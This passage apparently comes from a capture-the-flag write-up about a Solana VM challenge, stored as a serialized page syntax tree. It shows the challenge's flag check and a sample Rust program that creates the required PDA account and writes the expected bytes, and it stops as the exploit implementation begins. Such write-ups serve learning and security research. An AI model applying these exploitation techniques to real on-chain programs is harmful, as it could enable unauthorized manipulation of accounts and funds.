acct",{"type":24,"tag":83,"props":42482,"children":42483},{"style":143},[42484],{"type":29,"value":161},{"type":24,"tag":83,"props":42486,"children":42487},{"style":107},[42488],{"type":29,"value":839},{"type":24,"tag":83,"props":42490,"children":42491},{"style":143},[42492],{"type":29,"value":161},{"type":24,"tag":83,"props":42494,"children":42495},{"style":101},[42496],{"type":29,"value":8885},{"type":24,"tag":83,"props":42498,"children":42499},{"style":107},[42500],{"type":29,"value":13788},{"type":24,"tag":83,"props":42502,"children":42503},{"style":143},[42504],{"type":29,"value":8320},{"type":24,"tag":83,"props":42506,"children":42507},{"style":245},[42508],{"type":29,"value":42509}," 0x1337\n",{"type":24,"tag":83,"props":42511,"children":42512},{"class":85,"line":183},[42513,42518,42522,42526,42531,42535,42539,42543,42548,42552,42556,42560,42564,42568,42572,42576,42580,42585,42589],{"type":24,"tag":83,"props":42514,"children":42515},{"style":143},[42516],{"type":29,"value":42517},"        &&",{"type":24,"tag":83,"props":42519,"children":42520},{"style":3163},[42521],{"type":29,"value":5606},{"type":24,"tag":83,"props":42523,"children":42524},{"style":143},[42525],{"type":29,"value":3226},{"type":24,"tag":83,"props":42527,"children":42528},{"style":101},[42529],{"type":29,"value":42530},"from_le_bytes",{"type":24,"tag":83,"props":42532,"children":42533},{"style":107},[42534],{"type":29,"value":558},{"type":24,"tag":83,"props":42536,"children":42537},{"style":137},[42538],{"type":29,"value":42401},{"type":24,"tag":83,"props":42540,"children":42541},{"style":143},[42542],{"type":29,"value":161},{"type":24,"tag":83,"props":42544,"children":42545},{"style":107},[42546],{"type":29,"value":42547},"data[",{"type":24,"tag":83,"props":42549,"children":42550},{"style":143},[42551],{"type":29,"value":2796},{"type":24,"tag":83,"props":42553,"children":42554},{"style":245},[42555],{"type":29,"value":3819},{"type":24,"tag":83,"props":42557,"children":42558},{"style":107},[42559],{"type":29,"value":15151},{"type":24,"tag":83,"props":42561,"children":42562},{"style":143},[42563],{"type":29,"value":161},{"type":24,"tag":83,"props":42565,"children":42566},{"style":101},[42567],{"type":29,"value":25911},{"type":24,"tag":83,"props":42569,"children":42570},{"style":107},[42571],{"type":29,"value":13624},{"type":24,"tag":83,"props":42573,"children":42574},{"style":143},[42575],{"type":29,"value":161},{"type":24,"tag":83,"props":42577,"children":42578},{"style":101},[42579],{"type":29,"value":3410},{"type":24,"tag":83,"props":42581,"children":42582},{"style":107},[42583],{"type":29,"value":42584},"()) ",{"type":24,"tag":83,"props":42586,"children":42587},{"style":143},[42588],{"type":29,"value":8320},{"type":24,"tag":83,"props":42590,"children":42591},{"style":245},[42592],{"type":29,"value":42593}," 0x4337\n",{"type":24,"tag":83,"props":42595,"children":42596},{"class":85,"line":203},[42597],{"type":24,"tag":83,"props":42598,"children":42599},{"style":107},[42600],{"type":29,"value":28938},{"type":24,"tag":83,"props":42602,"children":42603},{"class":85,"line":212},[42604,42609,42613,42617,42621,42626,42630,42634],{"type":24,"tag":83,"props":42605,"children":42606},{"style":101},[42607],{"type":29,"value":42608},"        writeln!",{"type":24,"tag":83,"props":42610,"children":42611},{"style":107},[42612],{"type":29,"value":558},{"type":24,"tag":83,"props":42614,"children":42615},{"style":137},[42616],{"type":29,"value":41654},{"type":24,"tag":83,"props":42618,"children":42619},{"style":107},[42620],{"type":29,"value":568},{"type":24,"tag":83,"props":42622,"children":42623},{"style":187},[42624],{"type":29,"value":42625},"\"congrats!\"",{"type":24,"tag":83,"props":42627,"children":42628},{"style":107},[42629],{"type":29,"value":2872},{"type":24,"tag":83,"props":42631,"children":42632},{"style":143},[42633],{"type":29,"value":2900},{"type":24,"tag":83,"props":42635,"children":42636},{"style":107},[42637],{"type":29,"value":321},{"type":24,"tag":83,"props":42639,"children":42640},{"class":85,"line":256},[42641,42645,42649,42654,42658,42662,42666,42670,42675,42679,42683,42687,42691],{"type":24,"tag":83,"props":42642,"children":42643},{"style":117},[42644],{"type":29,"value":3018},{"type":24,"tag":83,"props":42646,"children":42647},{"style":90},[42648],{"type":29,"value":27054},{"type":24,"tag":83,"props":42650,"children":42651},{"style":3163},[42652],{"type":29,"value":42653}," Ok",{"type":24,"tag":83,"props":42655,"children":42656},{"style":107},[42657],{"type":29,"value":558},{"type":24,"tag":83,"props":42659,"children":42660},{"style":137},[42661],{"type":29,"value":42448},{"type":24,"tag":83,"props":42663,"children":42664},{"style":107},[42665],{"type":29,"value":633},{"type":24,"tag":83,"props":42667,"children":42668},{"style":143},[42669],{"type":29,"value":1275},{"type":24,"tag":83,"props":42671,"children":42672},{"style":107},[42673],{"type":29,"value":42674}," env",{"type":24,"tag":83,"props":42676,"children":42677},{"style":143},[42678],{"type":29,"value":3226},{"type":24,"tag":83,"props":42680,"children":42681},{"style":101},[42682],{"type":29,"value":34784},{"type":24,"tag":83,"props":42684,"children":42685},{"style":107},[42686],{"type":29,"value":558},{"type":24,"tag":83,"props":42688,"children":42689},{"style":187},[42690],{"type":29,"value":42339},{"type":24,"tag":83,"props":42692,"children":42693},{"style":107},[42694],{"type":29,"value":253},{"type":24,"tag":83,"props":42696,"children":42697},{"class":85,"line":270},[42698,42703,42707,42711,42715,42720,42724,42728,42732,42736],{"type":24,"tag":83,"props":42699,"children":42700},{"style":101},[42701],{"type":29,"value":42702},"            writeln!",{"type":24,"tag":83,"props":42704,"children":42705},{"style":107},[42706],{"type":29,"value":558},{"type":24,"tag":83,"props":42708,"children":42709},{"style":137},[42710],{"type":29,"value":41654},{"type":24,"tag":83,"props":42712,"children":42713},{"style":107},[42714],{"type":29,"value":568},{"type":24,"tag":83,"props":42716,"children":42717},{"style":187},[42718],{"type":29,"value":42719},"\"flag: {:?}\"",{"type":24,"tag":83,"props":42721,"children":42722},{"style":107},[42723],{"type":29,"value":568},{"type":24,"tag":83,"props":42725,"children":42726},{"style":137},[42727],{"type":29,"value":42448},{"type":24,"tag":83,"props":42729,"children":42730},{"style":107},[42731],{"type":29,"value":2872},{"type":24,"tag":83,"props":42733,"children":42734},{"style":143},[42735],{"type":29,"value":2900},{"type":24,"tag":83,"props":42737,"children":42738},{"style":107},[42739],{"type":29,"value":321},{"type":24,"tag":83,"props":42741,"children":42742},{"class":85,"line":302},[42743,42747,42751],{"type":24,"tag":83,"props":42744,"children":42745},{"style":107},[42746],{"type":29,"value":3056},{"type":24,"tag":83,"props":42748,"children":42749},{"style":117},[42750],{"type":29,"value":378},{"type":24,"tag":83,"props":42752,"children":42753},{"style":107},[42754],{"type":29,"value":125},{"type":24,"tag":83,"props":42756,"children":42757},{"class":85,"line":324},[42758,42762,42766,42770,42774,42779,42783,42787],{"type":24,"tag":83,"props":42759,"children":42760},{"style":101},[42761],{"type":29,"value":42702},{"type":24,"tag":83,"props":42763,"children":42764},{"style":107},[42765],{"type":29,"value":558},{"type":24,"tag":83,"props":42767,"children":42768},{"style":137},[42769],{"type":29,"value":41654},{"type":24,"tag":83,"props":42771,"children":42772},{"style":107},[42773],{"type":29,"value":568},{"type":24,"tag":83,"props":42775,"children":42776},{"style":187},[42777],{"type":29,"value":42778},"\"flag not found, please contact admin\"",{"type":24,"tag":83,"props":42780,"children":42781},{"style":107},[42782],{"type":29,"value":2872},{"type":24,"tag":83,"props":42784,"children":42785},{"style":143},[42786],{"type":29,"value":2900},{"type":24,"tag":83,"props":42788,"children":42789},{"style":107},[42790],{"type":29,"value":321},{"type":24,"tag":83,"props":42792,"children":42793},{"class":85,"line":345},[42794],{"type":24,"tag":83,"props":42795,"children":42796},{"style":107},[42797],{"type":29,"value":3092},{"type":24,"tag":83,"props":42799,"children":42800},{"class":85,"line":358},[42801],{"type":24,"tag":83,"props":42802,"children":42803},{"style":107},[42804],{"type":29,"value":446},{"type":24,"tag":83,"props":42806,"children":42807},{"class":85,"line":367},[42808],{"type":24,"tag":83,"props":42809,"children":42810},{"style":107},[42811],{"type":29,"value":464},{"type":24,"tag":51,"props":42813,"children":42815},{"id":42814},"solution-idea",[42816],{"type":29,"value":42817},"Solution Idea",{"type":24,"tag":25,"props":42819,"children":42820},{},[42821,42823,42828],{"type":29,"value":42822},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":24,"tag":32,"props":42824,"children":42826},{"className":42825},[],[42827],{"type":29,"value":35416},{"type":29,"value":42829}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":24,"tag":25,"props":42831,"children":42832},{},[42833,42835,42841],{"type":29,"value":42834},"In order to get the flag, we need to make sure that the account at ",{"type":24,"tag":32,"props":42836,"children":42838},{"className":42837},[],[42839],{"type":29,"value":42840},"PDA(\"FLAG\")",{"type":29,"value":42842}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":24,"tag":25,"props":42844,"children":42845},{},[42846,42848,42855],{"type":29,"value":42847},"Essentially, we need to ",{"type":24,"tag":2033,"props":42849,"children":42852},{"href":42850,"rel":42851},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[2037],[42853],{"type":29,"value":42854},"invoke the System Program",{"type":29,"value":42856},", and write controlled data into the newly created account.",{"type":24,"tag":25,"props":42858,"children":42859},{},[42860],{"type":29,"value":42861},"A sample program that does this is as follows:",{"type":24,"tag":73,"props":42863,"children":42865},{"className":2725,"code":42864,"language":2724,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[42866],{"type":24,"tag":32,"props":42867,"children":42868},{"__ignoreMap":7},[42869,42889,42913,42941,42968,42988,43024,43060,43067,43075,43108,43125,43150,43171,43223,43248,43255,43268,43314,43358,43366,43374,43385,43401,43412,43432,43452,43459,43495,43510,43517,43525,43604,43611,43622],{"type":24,"tag":83,"props":42870,"children":42871},{"class":85,"line":86},[42872,42876,42880,42885],{"type":24,"tag":83,"props":42873,"children":42874},{"style":90},[42875],{"type":29,"value":13435},{"type":24,"tag":83,"props":42877,"children":42878},{"style":90},[42879],{"type":29,"value":13440},{"type":24,"tag":83,"props":42881,"children":42882},{"style":101},[42883],{"type":29,"value":42884}," process_instruction",{"type":24,"tag":83,"props":42886,"children":42887},{"style":107},[42888],{"type":29,"value":3208},{"type":24,"tag":83,"props":42890,"children":42891},{"class":85,"line":113},[42892,42897,42901,42905,42909],{"type":24,"tag":83,"props":42893,"children":42894},{"style":137},[42895],{"type":29,"value":42896},"    program_id",{"type":24,"tag":83,"props":42898,"children":42899},{"style":143},[42900],{"type":29,"value":195},{"type":24,"tag":83,"props":42902,"children":42903},{"style":143},[42904],{"type":29,"value":6888},{"type":24,"tag":83,"props":42906,"children":42907},{"style":3163},[42908],{"type":29,"value":21138},{"type":24,"tag":83,"props":42910,"children":42911},{"style":107},[42912],{"type":29,"value":989},{"type":24,"tag":83,"props":42914,"children":42915},{"class":85,"line":128},[42916,42921,42925,42929,42933,42937],{"type":24,"tag":83,"props":42917,"children":42918},{"style":137},[42919],{"type":29,"value":42920},"    accounts",{"type":24,"tag":83,"props":42922,"children":42923},{"style":143},[42924],{"type":29,"value":195},{"type":24,"tag":83,"props":42926,"children":42927},{"style":143},[42928],{"type":29,"value":6888},{"type":24,"tag":83,"props":42930,"children":42931},{"style":107},[42932],{"type":29,"value":1161},{"type":24,"tag":83,"props":42934,"children":42935},{"style":3163},[42936],{"type":29,"value":14681},{"type":24,"tag":83,"props":42938,"children":42939},{"style":107},[42940],{"type":29,"value":14006},{"type":24,"tag":83,"props":42942,"children":42943},{"class":85,"line":183},[42944,42948,42952,42956,42960,42964],{"type":24,"tag":83,"props":42945,"children":42946},{"style":137},[42947],{"type":29,"value":712},{"type":24,"tag":83,"props":42949,"children":42950},{"style":143},[42951],{"type":29,"value":195},{"type":24,"tag":83,"props":42953,"children":42954},{"style":143},[42955],{"type":29,"value":6888},{"type":24,"tag":83,"props":42957,"children":42958},{"style":107},[42959],{"type":29,"value":1161},{"type":24,"tag":83,"props":42961,"children":42962},{"style":3163},[42963],{"type":29,"value":3166},{"type":24,"tag":83,"props":42965,"children":42966},{"style":107},[42967],{"type":29,"value":1453},{"type":24,"tag":83,"props":42969,"children":42970},{"class":85,"line":203},[42971,42975,42979,42984],{"type":24,"tag":83,"props":42972,"children":42973},{"style":107},[42974],{"type":29,"value":633},{"type":24,"tag":83,"props":42976,"children":42977},{"style":143},[42978],{"type":29,"value":13502},{"type":24,"tag":83,"props":42980,"children":42981},{"style":3163},[42982],{"type":29,"value":42983}," ProgramResult",{"type":24,"tag":83,"props":42985,"children":42986},{"style":107},[42987],{"type":29,"value":125},{"type":24,"tag":83,"props":42989,"children":42990},{"class":85,"line":212},[42991,42995,43000,43004,43008,43012,43016,43020],{"type":24,"tag":83,"props":42992,"children":42993},{"style":90},[42994],{"type":29,"value":2746},{"type":24,"tag":83,"props":42996,"children":42997},{"style":137},[42998],{"type":29,"value":42999}," flag_pda_ai",{"type":24,"tag":83,"props":43001,"children":43002},{"style":143},[43003],{"type":29,"value":146},{"type":24,"tag":83,"props":43005,"children":43006},{"style":143},[43007],{"type":29,"value":6888},{"type":24,"tag":83,"props":43009,"children":43010},{"style":137},[43011],{"type":29,"value":14418},{"type":24,"tag":83,"props":43013,"children":43014},{"style":107},[43015],{"type":29,"value":1161},{"type":24,"tag":83,"props":43017,"children":43018},{"style":245},[43019],{"type":29,"value":1166},{"type":24,"tag":83,"props":43021,"children":43022},{"style":107},[43023],{"type":29,"value":1515},{"type":24,"tag":83,"props":43025,"children":43026},{"class":85,"line":256},[43027,43031,43036,43040,43044,43048,43052,43056],{"type":24,"tag":83,"props":43028,"children":43029},{"style":90},[43030],{"type":29,"value":2746},{"type":24,"tag":83,"props":43032,"children":43033},{"style":137},[43034],{"type":29,"value":43035}," user_ai",{"type":24,"tag":83,"props":43037,"children":43038},{"style":143},[43039],{"type":29,"value":146},{"type":24,"tag":83,"props":43041,"children":43042},{"style":143},[43043],{"type":29,"value":6888},{"type":24,"tag":83,"props":43045,"children":43046},{"style":137},[43047],{"type":29,"value":14418},{"type":24,"tag":83,"props":43049,"children":43050},{"style":107},[43051],{"type":29,"value":1161},{"type":24,"tag":83,"props":43053,"children":43054},{"style":245},[43055],{"type":29,"value":3756},{"type":24,"tag":83,"props":43057,"children":43058},{"style":107},[43059],{"type":29,"value":1515},{"type":24,"tag":83,"props":43061,"children":43062},{"class":85,"line":270},[43063],{"type":24,"tag":83,"props":43064,"children":43065},{"emptyLinePlaceholder":16},[43066],{"type":29,"value":3422},{"type":24,"tag":83,"props":43068,"children":43069},{"class":85,"line":302},[43070],{"type":24,"tag":83,"props":43071,"children":43072},{"style":2735},[43073],{"type":29,"value":43074},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":24,"tag":83,"props":43076,"children":43077},{"class":85,"line":324},[43078,43082,43087,43091,43095,43099,43104],{"type":24,"tag":83,"props":43079,"children":43080},{"style":90},[43081],{"type":29,"value":2746},{"type":24,"tag":83,"props":43083,"children":43084},{"style":137},[43085],{"type":29,"value":43086}," instruction",{"type":24,"tag":83,"props":43088,"children":43089},{"style":143},[43090],{"type":29,"value":146},{"type":24,"tag":83,"props":43092,"children":43093},{"style":3163},[43094],{"type":29,"value":40727},{"type":24,"tag":83,"props":43096,"children":43097},{"style":143},[43098],{"type":29,"value":3226},{"type":24,"tag":83,"props":43100,"children":43101},{"style":101},[43102],{"type":29,"value":43103},"new_with_bincode",{"type":24,"tag":83,"props":43105,"children":43106},{"style":107},[43107],{"type":29,"value":3208},{"type":24,"tag":83,"props":43109,"children":43110},{"class":85,"line":345},[43111,43116,43120],{"type":24,"tag":83,"props":43112,"children":43113},{"style":107},[43114],{"type":29,"value":43115},"        system_program",{"type":24,"tag":83,"props":43117,"children":43118},{"style":143},[43119],{"type":29,"value":3226},{"type":24,"tag":83,"props":43121,"children":43122},{"style":107},[43123],{"type":29,"value":43124},"ID,\n",{"type":24,"tag":83,"props":43126,"children":43127},{"class":85,"line":358},[43128,43132,43137,43141,43146],{"type":24,"tag":83,"props":43129,"children":43130},{"style":143},[43131],{"type":29,"value":3216},{"type":24,"tag":83,"props":43133,"children":43134},{"style":107},[43135],{"type":29,"value":43136},"SystemInstruction",{"type":24,"tag":83,"props":43138,"children":43139},{"style":143},[43140],{"type":29,"value":3226},{"type":24,"tag":83,"props":43142,"children":43143},{"style":3163},[43144],{"type":29,"value":43145},"CreateAccount",{"type":24,"tag":83,"props":43147,"children":43148},{"style":107},[43149],{"type":29,"value":125},{"type":24,"tag":83,"props":43151,"children":43152},{"class":85,"line":367},[43153,43158,43162,43167],{"type":24,"tag":83,"props":43154,"children":43155},{"style":137},[43156],{"type":29,"value":43157},"            space",{"type":24,"tag":83,"props":43159,"children":43160},{"style":143},[43161],{"type":29,"value":195},{"type":24,"tag":83,"props":43163,"children":43164},{"style":245},[43165],{"type":29,"value":43166}," 0x1337",{"type":24,"tag":83,"props":43168,"children":43169},{"style":107},[43170],{"type":29,"value":989},{"type":24,"tag":83,"props":43172,"children":43173},{"class":85,"line":406},[43174,43179,43183,43188,43192,43197,43201,43205,43210,43214,43219],{"type":24,"tag":83,"props":43175,"children":43176},{"style":137},[43177],{"type":29,"value":43178},"            lamports",{"type":24,"tag":83,"props":43180,"children":43181},{"style":143},[43182],{"type":29,"value":195},{"type":24,"tag":83,"props":43184,"children":43185},{"style":107},[43186],{"type":29,"value":43187}," Rent",{"type":24,"tag":83,"props":43189,"children":43190},{"style":143},[43191],{"type":29,"value":3226},{"type":24,"tag":83,"props":43193,"children":43194},{"style":101},[43195],{"type":29,"value":43196},"default",{"type":24,"tag":83,"props":43198,"children":43199},{"style":107},[43200],{"type":29,"value":13624},{"type":24,"tag":83,"props":43202,"children":43203},{"style":143},[43204],{"type":29,"value":161},{"type":24,"tag":83,"props":43206,"children":43207},{"style":101},[43208],{"type":29,"value":43209},"minimum_balance",{"type":24,"tag":83,"props":43211,"children":43212},{"style":107},[43213],{"type":29,"value":558},{"type":24,"tag":83,"props":43215,"children":43216},{"style":245},[43217],{"type":29,"value":43218},"0x1337",{"type":24,"tag":83,"props":43220,"children":43221},{"style":107},[43222],{"type":29,"value":6483},{"type":24,"tag":83,"props":43224,"children":43225},{"class":85,"line":427},[43226,43231,43235,43239,43243],{"type":24,"tag":83,"props":43227,"children":43228},{"style":137},[43229],{"type":29,"value":43230},"            owner",{"type":24,"tag":83,"props":43232,"children":43233},{"style":143},[43234],{"type":29,"value":195},{"type":24,"tag":83,"props":43236,"children":43237},{"style":107},[43238],{"type":29,"value":41759},{"type":24,"tag":83,"props":43240,"children":43241},{"style":143},[43242],{"type":29,"value":3226},{"type":24,"tag":83,"props":43244,"children":43245},{"style":107},[43246],{"type":29,"value":43247},"ID\n",{"type":24,"tag":83,"props":43249,"children":43250},{"class":85,"line":440},[43251],{"type":24,"tag":83,"props":43252,"children":43253},{"style":107},[43254],{"type":29,"value":25124},{"type":24,"tag":83,"props":43256,"children":43257},{"class":85,"line":449},[43258,43263],{"type":24,"tag":83,"props":43259,"children":43260},{"style":101},[43261],{"type":29,"value":43262},"        vec!",{"type":24,"tag":83,"props":43264,"children":43265},{"style":107},[43266],{"type":29,"value":43267},"[\n",{"type":24,"tag":83,"props":43269,"children":43270},{"class":85,"line":458},[43271,43276,43280,43284,43288,43292,43297,43301,43306,43310],{"type":24,"tag":83,"props":43272,"children":43273},{"style":107},[43274],{"type":29,"value":43275},"            AccountMeta",{"type":24,"tag":83,"props":43277,"children":43278},{"style":143},[43279],{"type":29,"value":3226},{"type":24,"tag":83,"props":43281,"children":43282},{"style":101},[43283],{"type":29,"value":14864},{"type":24,"tag":83,"props":43285,"children":43286},{"style":107},[43287],{"type":29,"value":558},{"type":24,"tag":83,"props":43289,"children":43290},{"style":143},[43291],{"type":29,"value":4315},{"type":24,"tag":83,"props":43293,"children":43294},{"style":137},[43295],{"type":29,"value":43296},"user_ai",{"type":24,"tag":83,"props":43298,"children":43299},{"style":143},[43300],{"type":29,"value":161},{"type":24,"tag":83,"props":43302,"children":43303},{"style":107},[43304],{"type":29,"value":43305},"key, ",{"type":24,"tag":83,"props":43307,"children":43308},{"style":90},[43309],{"type":29,"value":1237},{"type":24,"tag":83,"props":43311,"children":43312},{"style":107},[43313],{"type":29,"value":6483},{"type":24,"tag":83,"props":43315,"children":43316},{"class":85,"line":1065},[43317,43321,43325,43329,43333,43337,43342,43346,43350,43354],{"type":24,"tag":83,"props":43318,"children":43319},{"style":107},[43320],{"type":29,"value":43275},{"type":24,"tag":83,"props":43322,"children":43323},{"style":143},[43324],{"type":29,"value":3226},{"type":24,"tag":83,"props":43326,"children":43327},{"style":101},[43328],{"type":29,"value":14864},{"type":24,"tag":83,"props":43330,"children":43331},{"style":107},[43332],{"type":29,"value":558},{"type":24,"tag":83,"props":43334,"children":43335},{"style":143},[43336],{"type":29,"value":4315},{"type":24,"tag":83,"props":43338,"children":43339},{"style":137},[43340],{"type":29,"value":43341},"flag_pda_ai",{"type":24,"tag":83,"props":43343,"children":43344},{"style":143},[43345],{"type":29,"value":161},{"type":24,"tag":83,"props":43347,"children":43348},{"style":107},[43349],{"type":29,"value":43305},{"type":24,"tag":83,"props":43351,"children":43352},{"style":90},[43353],{"type":29,"value":1237},{"type":24,"tag":83,"props":43355,"children":43356},{"style":107},[43357],{"type":29,"value":6483},{"type":24,"tag":83,"props":43359,"children":43360},{"class":85,"line":1668},[43361],{"type":24,"tag":83,"props":43362,"children":43363},{"style":107},[43364],{"type":29,"value":43365},"        ],\n",{"type":24,"tag":83,"props":43367,"children":43368},{"class":85,"line":1713},[43369],{"type":24,"tag":83,"props":43370,"children":43371},{"style":107},[43372],{"type":29,"value":43373},"    );\n",{"type":24,"tag":83,"props":43375,"children":43376},{"class":85,"line":1730},[43377,43381],{"type":24,"tag":83,"props":43378,"children":43379},{"style":101},[43380],{"type":29,"value":40844},{"type":24,"tag":83,"props":43382,"children":43383},{"style":107},[43384],{"type":29,"value":3208},{"type":24,"tag":83,"props":43386,"children":43387},{"class":85,"line":1770},[43388,43392,43397],{"type":24,"tag":83,"props":43389,"children":43390},{"style":143},[43391],{"type":29,"value":3216},{"type":24,"tag":83,"props":43393,"children":43394},{"style":137},[43395],{"type":29,"value":43396},"instruction",{"type":24,"tag":83,"props":43398,"children":43399},{"style":107},[43400],{"type":29,"value":989},{"type":24,"tag":83,"props":43402,"children":43403},{"class":85,"line":1778},[43404,43408],{"type":24,"tag":83,"props":43405,"children":43406},{"style":143},[43407],{"type":29,"value":3216},{"type":24,"tag":83,"props":43409,"children":43410},{"style":107},[43411],{"type":29,"value":43267},{"type":24,"tag":83,"props":43413,"children":43414},{"class":85,"line":1803},[43415,43420,43424,43428],{"type":24,"tag":83,"props":43416,"children":43417},{"style":137},[43418],{"type":29,"value":43419},"            user_ai",{"type":24,"tag":83,"props":43421,"children":43422},{"style":143},[43423],{"type":29,"value":161},{"type":24,"tag":83,"props":43425,"children":43426},{"style":101},[43427],{"type":29,"value":733},{"type":24,"tag":83,"props":43429,"children":43430},{"style":107},[43431],{"type":29,"value":3236},{"type":24,"tag":83,"props":43433,"children":43434},{"class":85,"line":1811},[43435,43440,43444,43448],{"type":24,"tag":83,"props":43436,"children":43437},{"style":137},[43438],{"type":29,"value":43439},"            flag_pda_ai",{"type":24,"tag":83,"props":43441,"children":43442},{"style":143},[43443],{"type":29,"value":161},{"type":24,"tag":83,"props":43445,"children":43446},{"style":101},[43447],{"type":29,"value":733},{"type":24,"tag":83,"props":43449,"children":43450},{"style":107},[43451],{"type":29,"value":3236},{"type":24,"tag":83,"props":43453,"children":43454},{"class":85,"line":8792},[43455],{"type":24,"tag":83,"props":43456,"children":43457},{"style":107},[43458],{"type":29,"value":43365},{"type":24,"tag":83,"props":43460,"children":43461},{"class":85,"line":8810},[43462,43466,43470,43474,43478,43482,43486,43490],{"type":24,"tag":83,"props":43463,"children":43464},{"style":143},[43465],{"type":29,"value":3216},{"type":24,"tag":83,"props":43467,"children":43468},{"style":107},[43469],{"type":29,"value":1161},{"type":24,"tag":83,"props":43471,"children":43472},{"style":143},[43473],{"type":29,"value":2853},{"type":24,"tag":83,"props":43475,"children":43476},{"style":107},[43477],{"type":29,"value":1161},{"type":24,"tag":83,"props":43479,"children":43480},{"style":187},[43481],{"type":29,"value":42339},{"type":24,"tag":83,"props":43483,"children":43484},{"style":143},[43485],{"type":29,"value":161},{"type":24,"tag":83,"props":43487,"children":43488},{"style":101},[43489],{"type":29,"value":42348},{"type":24,"tag":83,"props":43491,"children":43492},{"style":107},[43493],{"type":29,"value":43494},"()]],\n",{"type":24,"tag":83,"props":43496,"children":43497},{"class":85,"line":8855},[43498,43502,43506],{"type":24,"tag":83,"props":43499,"children":43500},{"style":107},[43501],{"type":29,"value":3401},{"type":24,"tag":83,"props":43503,"children":43504},{"style":143},[43505],{"type":29,"value":2900},{"type":24,"tag":83,"props":43507,"children":43508},{"style":107},[43509],{"type":29,"value":321},{"type":24,"tag":83,"props":43511,"children":43512},{"class":85,"line":8961},[43513],{"type":24,"tag":83,"props":43514,"children":43515},{"emptyLinePlaceholder":16},[43516],{"type":29,"value":3422},{"type":24,"tag":83,"props":43518,"children":43519},{"class":85,"line":23248},[43520],{"type":24,"tag":83,"props":43521,"children":43522},{"style":2735},[43523],{"type":29,"value":43524},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":24,"tag":83,"props":43526,"children":43527},{"class":85,"line":23283},[43528,43533,43537,43541,43545,43549,43553,43557,43561,43565,43569,43574,43578,43582,43587,43591,43595,43600],{"type":24,"tag":83,"props":43529,"children":43530},{"style":137},[43531],{"type":29,"value":43532},"    flag_pda_ai",{"type":24,"tag":83,"props":43534,"children":43535},{"style":143},[43536],{"type":29,"value":161},{"type":24,"tag":83,"props":43538,"children":43539},{"style":101},[43540],{"type":29,"value":13619},{"type":24,"tag":83,"props":43542,"children":43543},{"style":107},[43544],{"type":29,"value":13624},{"type":24,"tag":83,"props":43546,"children":43547},{"style":143},[43548],{"type":29,"value":2900},{"type":24,"tag":83,"props":43550,"children":43551},{"style":107},[43552],{"type":29,"value":1161},{"type":24,"tag":83,"props":43554,"children":43555},{"style":143},[43556],{"type":29,"value":2796},{"type":24,"tag":83,"props":43558,"children":43559},{"style":245},[43560],{"type":29,"value":3819},{"type":24,"tag":83,"props":43562,"children":43563},{"style":107},[43564],{"type":29,"value":15151},{"type":24,"tag":83,"props":43566,"children":43567},{"style":143},[43568],{"type":29,"value":161},{"type":24,"tag":83,"props":43570,"children":43571},{"style":101},[43572],{"type":29,"value":43573},"copy_from_slice",{"type":24,"tag":83,"props":43575,"children":43576},{"style":107},[43577],{"type":29,"value":558},{"type":24,"tag":83,"props":43579,"children":43580},{"style":143},[43581],{"type":29,"value":2853},{"type":24,"tag":83,"props":43583,"children":43584},{"style":245},[43585],{"type":29,"value":43586},"0x4337",{"type":24,"tag":83,"props":43588,"children":43589},{"style":3163},[43590],{"type":29,"value":7789},{"type":24,"tag":83,"props":43592,"children":43593},{"style":143},[43594],{"type":29,"value":161},{"type":24,"tag":83,"props":43596,"children":43597},{"style":101},[43598],{"type":29,"value":43599},"to_le_bytes",{"type":24,"tag":83,"props":43601,"children":43602},{"style":107},[43603],{"type":29,"value":15164},{"type":24,"tag":83,"props":43605,"children":43606},{"class":85,"line":23291},[43607],{"type":24,"tag":83,"props":43608,"children":43609},{"emptyLinePlaceholder":16},[43610],{"type":29,"value":3422},{"type":24,"tag":83,"props":43612,"children":43613},{"class":85,"line":23299},[43614,43618],{"type":24,"tag":83,"props":43615,"children":43616},{"style":3163},[43617],{"type":29,"value":14076},{"type":24,"tag":83,"props":43619,"children":43620},{"style":107},[43621],{"type":29,"value":14081},{"type":24,"tag":83,"props":43623,"children":43624},{"class":85,"line":23308},[43625],{"type":24,"tag":83,"props":43626,"children":43627},{"style":107},[43628],{"type":29,"value":464},{"type":24,"tag":25,"props":43630,"children":43631},{},[43632],{"type":29,"value":43633},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":24,"tag":25,"props":43635,"children":43636},{},[43637],{"type":24,"tag":2510,"props":43638,"children":43641},{"alt":43639,"src":43640},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":24,"tag":25,"props":43643,"children":43644},{},[43645],{"type":29,"value":43646},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":24,"tag":51,"props":43648,"children":43650},{"id":43649},"solution-implementation",[43651],{"type":29,"value":43652},"Solution Implementation",{"type":24,"tag":25,"props":43654,"children":43655},{},[43656,43658,43663],{"type":29,"value":43657},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":24,"tag":32,"props":43659,"children":43661},{"className":43660},[],[43662],{"type":29,"value":35416},{"type":29,"value":43664}," 